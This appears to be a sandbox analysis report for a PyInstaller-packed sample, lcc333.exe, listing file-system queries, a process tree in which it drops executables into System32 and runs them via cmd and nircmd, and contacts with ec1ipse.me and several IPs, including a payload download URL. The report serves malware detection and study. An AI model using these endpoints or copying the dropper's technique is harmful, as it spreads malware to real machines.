Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_lzma.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md.cp312-win_amd64.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md__mypyc.cp312-win_amd64.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\unicodedata.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\certifi VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\windows2.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\windows2.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\windows2.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Windows\System32\python.bat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Windows\System32\app_process.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Windows\System32\AutoDesk.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Windows\System32\play.bat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Windows\System32\nircmd.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.bat VolumeInformation Jump to behavior
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C8D010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_00007FF714C8D010
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA5C00 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation, 0_2_00007FF714CA5C00
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140002BB0 GetVersionExA, 15_2_0000000140002BB0
Source: C:\Windows\System32\app_process.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1562222 Sample: lcc333.exe Startdate: 25/11/2024 Architecture: WINDOWS Score: 60 83 ec1ipse.me 2->83 95 PE file contains section with special chars 2->95 97 Uses known network protocols on non-standard ports 2->97 99 AI detected suspicious sample 2->99 11 lcc333.exe 21 2->11         started        signatures3 process4 file5 69 C:\Users\user\AppData\...\unicodedata.pyd, PE32+ 11->69 dropped 71 C:\Users\user\AppData\Local\...\select.pyd, PE32+ 11->71 dropped 73 C:\Users\user\AppData\Local\...\python312.dll, PE32+ 11->73 dropped 75 12 other files (none is malicious) 11->75 dropped 14 lcc333.exe 7 11->14         started        process6 dnsIp7 85 43.199.41.35, 49705, 8080 LILLY-ASUS Japan 14->85 77 C:\Windows\System32\nircmd.exe, PE32+ 14->77 dropped 79 C:\Windows\System32\app_process.exe, PE32+ 14->79 dropped 81 C:\Windows\System32\AutoDesk.exe, PE32+ 14->81 dropped 18 cmd.exe 1 14->18         started        21 cmd.exe 1 14->21         started        23 cmd.exe 1 14->23         started        file8 process9 signatures10 91 Drops executables to the windows directory (C:\Windows) and starts them 18->91 25 nircmd.exe 18->25         started        28 nircmd.exe 18->28         started        30 nircmd.exe 18->30         started        38 5 other processes 18->38 93 Uses the nircmd tool (NirSoft) 21->93 32 cmd.exe 21->32         started        34 cmd.exe 1 21->34         started        36 taskkill.exe 1 21->36         started        40 3 other processes 21->40 42 2 other processes 23->42 process11 signatures12 101 Drops executables to the windows directory (C:\Windows) and starts them 25->101 44 app_process.exe 1 25->44         started        46 app_process.exe 1 28->46         started        49 app_process.exe 1 30->49         started        51 conhost.exe 32->51         started        53 AutoDesk.exe 1 32->53         started        55 conhost.exe 34->55         started        57 AutoDesk.exe 1 34->57         started        59 app_process.exe 1 38->59         started        process13 dnsIp14 61 conhost.exe 44->61         started        87 20.2.154.66 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 46->87 63 conhost.exe 46->63         started        89 ec1ipse.me 172.233.211.124 AKAMAI-ASN1EU United States 49->89 65 conhost.exe 49->65         started        67 conhost.exe 59->67         started        process15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.233.211.124
 ec1ipse.me United States
20940 AKAMAI-ASN1EU false
20.2.154.66
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
43.199.41.35
 unknown Japan 4249 LILLY-ASUS false

Contacted Domains

Name IP Active
ec1ipse.me 172.233.211.124 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://ec1ipse.me/v2/ws?timestamp=1732529527 false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529528 false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529493 false
  • Avira URL Cloud: safe
 unknown
http://43.199.41.35:8080/windows2.zip false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529467 false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529500 false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529501 false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529460 false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529508 false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529514 false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529473 false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529521 false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529486 false
  • Avira URL Cloud: safe
 unknown
https://ec1ipse.me/v2/ws?timestamp=1732529480 false
  • Avira URL Cloud: safe
 unknown